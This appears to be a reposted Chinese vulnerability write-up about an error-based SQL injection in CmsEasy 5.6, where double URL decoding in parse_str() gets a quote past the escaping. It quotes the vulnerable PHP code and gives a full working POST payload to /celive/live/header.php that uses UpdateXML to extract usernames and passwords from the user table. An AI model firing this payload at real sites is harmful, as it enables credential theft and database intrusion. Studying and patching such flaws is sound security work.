标签：ash blog amp sel cat update root pos from
来源：http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html
parse_str()引发的注入，
//parse_str()的作用是解析字符串并且把字符串注册成变量，第二个参数$arr是一个数组，parse_str()之前会先urldecode,也就是会二次url解码，实现单引号逃逸。
漏洞距离现在好像有点年代久远，有个限制就是对于php的版本要小于5.4，因为5.4以后默认关闭gpc，如果关闭gpc就会调用addslashes().
function Postdata($a) {
global $db;
$chatid = $_SESSION[‘chatid‘];
$name = $_SESSION[‘name‘];
$a[‘detail‘] = htmlspecialchars($a[‘detail‘]);
if (!get_magic_quotes_gpc()) {
$a[‘detail‘] = addslashes($a[‘detail‘]);
}
}
if ($rootTag == "xjxquery") {
$sQuery = "";
$this->iPos++;
while (!stristr($this->aObjArray[$this->iPos], "</xjxquery>")) {
if (stristr($this->aObjArray[$this->iPos], "<q>") || stristr($this->aObjArray[$this->iPos], "</q>")) {
$this->iPos++;
continue;
}
$sQuery .= $this->aObjArray[$this->iPos];
$this->iPos++;
}
parse_str($sQuery, $aArray);
if ($this->bDecodeUTF8Input) {
foreach ($aArray as $key => $value) {
$aArray[$key] = $this->_decodeUTF8Data($value);
}
}
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);
else
$newArray[$sKey] = $sValue;
}
$aArray = $newArray;
}
}
return $aArray;
}
漏洞出现在parse_str($sQuery, $aArray);
所以能进行报错注入
url: /celive/live/header.php
post：
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
cmseasy CmsEasy_5.6_20151009 无限制报错注入（parse_str()的坑）
标签：ash blog amp sel cat update root pos from
原文地址：http://www.cnblogs.com/yangxiaodi/p/6963624.html
